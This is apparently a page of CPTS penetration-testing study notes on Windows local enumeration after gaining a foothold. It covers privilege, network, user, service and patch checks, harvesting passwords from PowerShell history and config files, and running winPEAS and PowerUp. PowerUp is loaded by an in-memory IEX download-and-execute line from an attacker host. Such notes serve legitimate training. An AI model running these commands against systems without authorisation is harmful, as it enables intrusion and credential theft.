Local Enumeration
CPTS Notes
- Foundations
- Enumeration with Nmap
- Passwords
- Wordlists
- Cracking
- Protected Files
- Spraying and Defaults
- Hunting (Windows)
- Hunting (Linux)
- Hunting (Shares)
- Hunting (Traffic)
- Looting (Windows)
- Looting (Linux)
- File Services
- FTP
- SMB
- NFS
- Rsync
- Network
- DNS
- SNMP
- SMTP
- Mail Retrieval
- Cloud Mail
- Databases
- MySQL
- MSSQL
- Remote Access
- SSH
- R-Services
- RDP
- WinRM
- WMI
- Linux
- Reading Files
- Editing Files
- Searching Files
- Requests and Transfer
- Local Enumeration
- Privesc Primer
- File Transfer
- Choosing a Method
- Serving Files
- Windows Transfers
- Linux Transfers
- Code One-Liners
- Session Transfers
- Protected Transfers
- Detection & Evasion
- Windows
- Reading Files
- Editing Files
- Searching Files
- Requests and Transfer
- Local Enumeration
- Privesc Primer
- Reference
- Port References
- DNS Resolution
- The Mail Pipeline
- SMB & NetBIOS
After a foothold, collect identity and privileges, network, users, processes and services, patch level, and readable files, in that order. Run an enumeration script after the manual pass and check its findings by hand. Privesc Primer covers what to do with the results.
A command-line foothold from a web shell is often clumsy. An early win is a cleaner session over
WinRM with evil-winrm, or RDP once you hold a
credential.
Who and where
Current user, privileges, groups, and SID in one view:
whoami /all # user, groups, privileges, and SIDwhoami /priv # privileges only, such as SeImpersonatePrivilegeSeImpersonatePrivilege, SeBackupPrivilege, and SeLoadDriverPrivilege in whoami /priv are direct
privilege-escalation leads.
Host, OS build, domain, and installed patches:
systeminfo # OS version, build, domain, hotfixes, and boot timehostname # host nameThe Domain line in systeminfo shows whether the host is domain-joined or stands alone, which decides
whether local or domain attacks apply.
Network
Interfaces, routes, and the ARP cache:
ipconfig /all # interfaces, addresses, DNS, and domainroute print # routing tablearp -a # hosts this box talked to recentlyAn interface on a second subnet makes the host a pivot into another network. Note it.
Listening ports and the owning process:
netstat -ano # listening ports with the owning PIDGet-NetTCPConnection -State Listen # same, as objectsA port bound to
127.0.0.1only is not reachable from outside. Reach it from the box, or forward the port (Privesc Primer). Local admin panels and databases are pivot and privesc targets.
Local name entries:
Get-Content C:\Windows\System32\drivers\etc\hosts # local name entriesUsers and groups
Local users, and the members of the local administrators group:
Get-LocalUser # local accountsGet-LocalGroupMember Administrators # who is a local adminnet accounts # password and lockout policyOther sessions on the host:
query user # logged-on users and session IDsOn a domain-joined host, enumerate domain accounts too:
net user /domain # domain usersnet group "Domain Admins" /domain # domain adminsLocal admin on the box is the goal of privilege escalation. Domain group membership decides how far a credential reaches once you move off the host.
Processes and services
Processes with their service names:
tasklist /svc # processes and the services they hostGet-Process # same, as objectsServices, with the state, start mode, and the binary each runs:
Get-CimInstance Win32_Service | Select-Object Name, State, StartMode, PathName # services and their binaries
Get-CimInstancereplaceswmic, which Microsoft removed from current Windows 11. ThePathNamevalues feed the unquoted-path and weak-permission checks in Privesc Primer.
Scheduled tasks, with the action each runs:
schtasks /query /fo LIST /v # scheduled tasks in full detailGet-ScheduledTask # same, as objectsPatches and software
Installed hotfixes, to spot a missing kernel patch:
Get-HotFix # installed updates, with the KB number and dateInstalled programs, read from the uninstall registry keys:
Get-ItemProperty 'HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\*' | Select-Object DisplayName, DisplayVersionA sparse
Get-HotFixlist on an old build points to kernel or privilege-escalation exploits. Feed thesysteminfooutput to a suggester such as Watson or the winPEAS checks, then check by hand.
Files worth reading
PowerShell command history, which often holds typed passwords:
Get-Content (Get-PSReadlineOption).HistorySavePath # this user's PowerShell historyUser folders, the desktop, and documents of each account:
Get-ChildItem C:\Users\*\Desktop, C:\Users\*\Documents -ErrorAction SilentlyContinue # user filesEnvironment variables of the current session:
Get-ChildItem Env: # environment variablesApplication config files hold database and service passwords:
web.config,appsettings.json,*.config,unattend.xml. Searching for them is in Hunting (Windows), and the credential stores to dump are in Looting (Windows).
Automated scripts
Run a script after the manual pass. Windows Transfers covers getting it
onto the box. Write output under C:\Windows\Temp or the user’s AppData\Local\Temp.
winPEAS is the broad enumerator:
.\winPEASx64.exe # all checks.\winPEASx64.exe quiet cmd # less colour noise, cmd checks onlyPowerUp focuses on privilege-escalation misconfigurations, run in memory:
IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.20:8000/PowerUp.ps1')Invoke-AllChecks # run every PowerUp checkSharpUp is the compiled C# version of the same checks, and Seatbelt collects host and user detail.
The scripts miss findings and raise false positives, such as an exploit for a patch the host already has. Check each lead by hand before you act on it.
Checklist
-
whoami /alland/priv: noteSeImpersonateand other privileges. -
systeminfo: OS build, domain membership, and hotfixes noted. - Interfaces, routes, and second subnets noted.
- Listening ports checked, especially services on
127.0.0.1. - Local users, administrators group, and password policy listed.
- Domain users and groups listed, on a domain-joined host.
- Services and their binaries, and scheduled tasks, checked.
- Hotfixes and installed software noted.
- PowerShell history, user folders, config files, and
Env:read. - winPEAS or PowerUp run and its findings checked by hand.